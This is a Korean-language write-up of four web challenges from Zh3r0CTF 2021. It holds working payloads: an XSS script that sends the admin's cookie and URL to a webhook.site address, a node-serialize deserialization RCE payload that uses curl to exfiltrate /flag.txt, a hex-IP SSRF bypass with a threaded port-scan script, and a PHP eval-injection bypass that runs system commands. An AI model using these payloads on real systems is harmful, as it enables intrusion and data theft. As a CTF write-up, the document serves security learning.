Zh3r0CTF 2021 Writeup
Table Of Contents
# bxxs
http://web.zh3r0.cf:3333/
We’ve made some new epic updates to our website. Could you send us some feedback on it ?
-
문제 분석 & 문제 풀이
http://web.zh3r0.cf:3333
해당 URL에 들어가면 아무런 동작을 하지 않는 GET THIS DEAL NOW 버튼과 /feedback URL로 이동하는 CLICK HERE 버튼이 있는것을 볼 수 있습니다.
/flag URL으로 먼저 접근을 해보면 이렇게 admin이 아니라 출력을 하게 됩니다.
그런 다음 /feedback Page로 이동을 해보면 이렇게 admin 관리자에게 피드백을 전송할 수 있는 공간이 주어지게 됩니다.
해당 입력 칸에 webhook으로 공격자의 서버로 이동하도록 JS으로 페이로드를 짜면
<script>window.location.href='https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34'</script>
이렇게 webhook에 요청된 정보를 볼 수 있습니다.
<script>window.location.href='https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34?c='+document.cookie</script>
해당 기능을 이용하여
document.cookie
해당 admin이 가지고 있는 쿠키를 확인해볼려 시도하면위의 URL처럼 Set-cookie httponly로 인해 아무런 값이 담겨져 있지 않은것을 볼 수 있습니다.
다른 정보도 가져오기 위해
<script>window.location.href='https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34?url='+document.URL;</script>
document.URL
변수로 해당 admin의 URL을 체크하면 위의 사진 처럼http://0.0.0.0:8080/Secret_admin_cookie_panel 해당 URL에서 접속하는것을 알 수 있습니다.
해당 페이지에 접근하기 위해 http://web.zh3r0.cf:3333/Secret_admin_cookie_panel 해당 URL으로 들어가보면
이렇게 쿠키가 존재하는것을 볼 수 있는데 해당 쿠키를 가지고 있는 상태에서 http://web.zh3r0.cf:3333/flag URL으로 접근을 해보면
/Secret_admincookie_panel
에서 얻은 쿠키로 인해 admin으로 인식하여 FLAG가 노출 됩니다.
Flag is zh3r0{{Ea5y_bx55_ri8}}
# sparta
http://web.zh3r0.cf:6666/
Spartanians are starting to lose their great power, help them move their objects and rebuild their Empire.
-
문제 분석 & 문제 풀이
해당 문제의 경우 URL에 들어가면 이렇게 사이트에 연결할 수 없음이라고 나와있습니다.
하지만 파일을 제공하기 때문에 직접 로컬에서 테스트를 진행했습니다.
먼저 해당 문제 파일 안에 있는 문제 서버 구축하기 위한 Dockerfile을 빌드하기 위해 아래의 명령어을 실행한 다음 7777 PORT로 접속하면
~$ docker build --no-cache -t sparta . ~$ docker images REPOSITORY TAG IMAGE ID CREATED SIZE sparta latest b62a1ddc86f7 27 minutes ago 928MB ~$ docker run -it -d -p 7777:7777 --name=sparta sparta a6d29b1b0b3cd88821bebd7287f2a2285ecead94db485a21b4771327ebfdc945
이러한 스파르타 사진이 있는 로그인 페이지가 나타나게 됩니다.
하지만 usrname과 password에 어떠한 값을 입력해도
귀여운 사진만 나타나는것을 볼 수 있습니다.
그래서 다른 페이지를 찾아보면 아까 로그인 페이지의 하단에 있는 Login as guest를 누르면
http://testip:7777/guest 이렇게 /guest로 이동하게 되면서
이러한 사진이 나오게 됩니다.
해당 Username, Country, City, introduction message 부분에 아무거나 입력하고 ADD YOUR INFO 버튼을 누르면
쿠키가 발급되면서 Hello!가 뜨지만
한번 새로고침을 하면 Cookie에 있는 값을 base64 decode한 후 역직렬화 하여 데이터를 출력하게 됩니다.
해당 기능을 사용하는 코드를 살펴보면
app.post('/guest', function(req, res) { if (req.cookies.guest) { var str = new Buffer(req.cookies.guest, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page"); } } else { var username = req.body.username var country = req.body.country var city = req.body.city var serialized_info = `{"username":"${username}","country":"${country}","city":"${city}"}` var encoded_data = new Buffer(serialized_info).toString('base64'); res.cookie('guest', encoded_data, { maxAge: 900000, httpOnly: true }); } res.send("Hello!"); });
serialize.unserialize
함수를 이용하여 임의적으로 입력한 값이 역직렬화되어 username이 출력되는것을 볼 수 있습니다.해당
serialize.unserialize
함수는 nodejs 역직렬화 하는 과정에서 매우 취약한 함수이며RCE(Remote Code Execute)
취약점을 발생시킬 수 있습니다.~$ cat serialize.js const serialize = require('node-serialize'); var data = `{"username":"_$$ND_FUNC$$_function (){require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout); });return 'a';}()", "country":"hello", "city":"helloworld"}`; serialize.unserialize(data); console.log(data); ~$ node serialize.js {"username":"_$$ND_FUNC$$_function (){require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout); });return 'a';}()", "country":"hello", "city":"helloworld"} uid=0(root) gid=0(root) groups=0(root)
이렇게 unserialize 함수를 이용하여 역직렬화 시키는 과정에서 원하는 코드를 실행시킬 수 있습니다.
이제 서버에 취약점을 발생시키기 위해서는 원하는대로 동작하는 페이로드를 base64 시킨 다음 Cookie를 저장하면 되는데
해당 문제의 경우 명령어의 결과가 웹 페이지가 아닌 Console에 남기 때문에 결과를 얻기 위해 curl을 이용하였습니다.
{"username":"_$$ND_FUNC$$_function (){require('child_process').exec('curl https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34?c=$(cat /flag.txt)', function(error, stdout, stderr) { console.log(stdout); }); return 'a';}()", "country":"hello", "city":"helloworld"} => eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY3VybCBodHRwczovL3dlYmhvb2suc2l0ZS80MWQxNWYxZC1kZWYxLTQ4MWYtYjhkMC1lMDQzOWFjNjhhMzQ/ Yz0kKGNhdCAvZmxhZy50eHQpJywgZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKSB7IGNvbnNvbGUubG9nKHN0ZG91dCk7IH0pO3JldHVybiAnYSc7fSgpIiwgImNvdW50cnkiOiJoZWxsbyIsICJjaXR5IjoiaGVsbG93b3JsZCJ9
해당 CTF는 플래그 형식이
zh3r0{FLAG}
이니 문자만 잘 맞춰주면 됩니다.
Flag is zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}
# Baby SSRF
Hint : for i in range(5000,10000) XD
Yet another server challenge :)
-
문제 분석
해당 페이지에 들어가면 이런 식으로 REQUEST NOW! 이라는 버튼이 2개 존재하는데 해당 버튼을 눌러 보면
/request URL으로 이동하면 Invalid URL이 뜨면서 입력할 수 있는 공간이 있는것을 볼 수 있습니다.
한번
https://me2nuk.com
을 입력하면 이렇게 Response의 결과를 출력하는것을 볼 수 있습니다.임의의 값을 입력한 URL으로 요청하면 응답 헤더가 출력되는 기능을 이용하여 local에 요청하게 만들기 위해
http://127.0.0.1
을 입력하여 요청을 하게 만들면특정 키워드가 감지되는 경우
Please dont try to heck me sir...
괴롭히지 말라는 문구와존재하지 않는 URL이나 연결이되지 않는 URL으로 요청하는 경우
Learn about URL's First
가 뜨게 됩니다. -
문제 풀이
local로 요청하기 위한 방법은 많이 존재하기 때문에 다양한 방법 중
0x7f000001(hex)
를 이용하여 필터링을 우회할 수 있기 때문에 해당 우회 방법을 사용하면 됩니다.
FLAG를 얻기 위해 문제 힌트를 참고하면 5000~10000 까지 반복하는 코드를 보여주는것을 볼 수 있는데 힌트대로 FLAG가 들어 있는 PORT로 요청을 하면 됩니다.
from threading import Thread import requests URL = 'http://web.zh3r0.cf:1111/request' END = False def ports(st,en): global END for port in range(st,en): if END: return False else: payloads = 'http://0x7f000001:{}'.format(port) r = requests.post(URL, data={'url':payloads, 'sub':'sub'}) if r.text.find("{'") > -1: print("FLAG Found URL : {0}\n{1}".format(r.url, r.text[r.text.find("zh3r0{"):r.text.find("}")+1])) END = True for port in [5000, 6000, 7000, 8000, 9000]: t1 = Thread(target=ports, args=(port, port+1000)) t1.start() print('Thread Starting..')
threading를 이용하여 JSON 형태로 반환이 되는 페이지만 FLAG를 찾아 출력하게 만들면 됩니다.
Flag is zh3r0{SSRF_0r_wh4t3v3r_ch4ll3ng3}
# strpos and substr
Can you bypass this WAF
-
문제 분석 & 문제 풀이
<?php ini_set('display_errors',0); include("flag.php"); if(!isset($_GET['user'])) highlight_file(__FILE__); else{ $a=$_GET['user']; if(strlen($a)>24 || gettype($a)!=="string" ){ die("oh nâu!!"); } if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){ $a=md5($a); } if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){ $a=md5($a); } eval("echo 'Hello ".$a."<br>$flag';"); } ?>
해당 문제는 PHP 소스코드를 분석하면 HTTP REQUEST GET METHOD 방식으로 user 파라미터를 전송하면 다양한 필터링을 거친 뒤 입력한 값이 eval 함수에 삽입이 되면서
echo 'Hello ".$a."<br>$flag';
코드가 실행이 됩니다.단순히 a를 입력하는 경우
echo 'Hello a<br>$flag';
이런 식으로 실행이 됩니다.또한 eval 함수에 임의적으로 값을 주입할 수 있기 때문에 eval 함수를 이용하여 원격으로 코드를 실행할 수 있습니다.
해당 user 파라미터에
?user=';system('ls');
페이로드를 주입 하면이렇게
Hello (md5) (img)
형식으로 출력되는것을 볼 수 있습니다.이렇게 출력되는 이유는 주입한 페이로드가 PHP 필터링이 걸리면서 md5 함수의 반환값을 출력하는것을 볼 수 있습니다.
,system('ls'),
해당 페이로드를 우회하기 위해 필터링 리스트들을 분석을 했습니다.-
Filter List
Try Payloads =>
',system('ls'),'
-
if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a))
prge_match 함수를 이용하여 $a 변수에 하나라도 매치되면 입력한 변수 md5 Encrypt하게 됩니다.
if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){ $a=md5($a); }
-
Filter List
-
-
if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))))
해당 조건문이 페이로드 우회하는 부분에서 제일 핵심적인 요소 입니다.
strpos, substr, strlen, preg_match 다양한 필터링에 걸리게 되면 $a 변수 md5 Encrypt하게 됩니다.
if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){ $a=md5($a); }
-
(strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)
$a변수의 4번째 자릿수 이후의 문자열 안에 ( 문자열 자릿수가 1보다 커야되며 6번째 자릿수 이후의 문자열 안에 ) 문자열 자릿수가 1보다 커야 참이 됩니다.
-
Code Test
~$ cat test.php <?php $a = "',system('ls'),'"; if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)){ echo '[x] Filter'; } echo 'Filter substr($a,4,strlen($a) : '.substr($a,4,strlen($a))."\n"; echo 'Filter substr($a,6,strlen($a) : '.substr($a,6,strlen($a))."\n"; echo 'Filter strpos(substr($a,4,strlen($a)),")") : '.strpos(substr($a,4,strlen($a)),"(")."\n"; echo 'Filter strpos(substr($a,6,strlen($a)),")") : '.strpos(substr($a,6,strlen($a)),")")."\n"; ?> ~$ php test.php [x] FilterFilter substr($a,4,strlen($a) : stem('ls'),' Filter substr($a,6,strlen($a) : em('ls'),' Filter strpos(substr($a,4,strlen($a)),")") : 4 Filter strpos(substr($a,6,strlen($a)),")") : 7
strpos(substr($a,4,strlen($a)),"(")>1
- payloads =>
substr($a,4,strlen($a)
=>tem('ls'),
$a변수의 4번째 자릿수 이후의 문자열을 가져온 다음 ) 문자열을 찾아 해당 자릿수가 1 보다 큰 수인지 비교합니다.
- payloads =>
strpos(substr($a,6,strlen($a)),")")>1)
- payloads =>
substr($a,6,strlen($a)
=>m('ls')
$a변수의 6번째 자릿수 이후의 문자열을 가져온 다음 ) 문자열을 찾아 해당 자릿수가 1 보다 큰 수인지 비교합니다.
- payloads =>
-
-
preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))
preg_match 함수의 2번재 인자에 들어가는 값이 first 인자에 있는 정규표현식에 매치를 합니다.
-
Code Test
~$ cat test1.php <?php $a = "',system('ls'),'"; if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)){ echo '[x] Filter'."\n"; } echo 'Filter substr($a,4,strlen($a) : '.substr($a,4,strlen($a))."\n"; echo 'Filter substr($a,6,strlen($a) : '.substr($a,6,strlen($a))."\n"; echo 'Filter strpos(substr($a,4,strlen($a)),")") : '.strpos(substr($a,4,strlen($a)),"(")."\n"; echo 'Filter strpos(substr($a,6,strlen($a)),")") : '.strpos(substr($a,6,strlen($a)),")")."\n"; ?> ~$ php test1.php [x] Filter substr($a,4,strlen($a) : stem('ls'),' Filter substr($a,6,strlen($a) : em('ls'),' Filter strpos(substr($a,4,strlen($a)),")") : 4 Filter strpos(substr($a,6,strlen($a)),")") : 7
-
/[A-Za-z0-9_]/i
-
substr($a,2+strpos(substr($a,4,strlen($a)),"("),2)
-
substr($a,2+strpos(substr($a,4,strlen($a)),"("),2)
2+strpos(substr($a,4,strlen($a))
의 반환값 자릿수 이후의 문자열에서 2번째 자릿수 까지 가져옵니다.-
2+strpos(substr($a,4,strlen($a)),"(")
$a변수의 4번째 자릿수 이후의 문자열에서 ( 문자열의 자릿수에서 2를 더합니다.
-
-
-
-
preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))
-
substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)
const X =
substr($a,4,strlen($a))
간단하게 표시에서 X를 위 함수의 결과라면
substr(X, strpos(X,"("),12)
해당 코드와 같습니다.시도하기 위한 페이로드를 넣으면 X의 결과는
tem('ls'),
문자열이 들어가게 됩니다.-
substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12)
substr(X, strpos(X,"("),12)
해당 코드의 반환 값은 X 안에 있는 ) 문자가 있는 자릿수 이후의 문자열을 최대 12자리 만큼 반환 합니다. -
strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1
코드를 이해하기 쉽게 X로 치환한다면
strpos(substr(X,strpos(X,"("),12),")")-1
const Y =
strpos(X,"(")
Y는 X안에 있는 ( 문자 자릿수를 반환하므로 3이 됩니다.
X 문자열을 Y 자릿수 이후 부터 최대 12글자를 반환한 뒤 그 문자열 안에 있는 ) 문자열을 찾은 다음 1을 뺍니다.
-
-
-
-
위의 Filter List를 우회하면 최종 페이로드가 만들어지게 됩니다.
',system ('command' ),'
curl "http://web.zh3r0.cf:2222/?user=%27,system%20%20(%27ls%27%20),'" curl "http://web.zh3r0.cf:2222/?user=%27,system%20%20(%27more%20/*%27%20),'"
-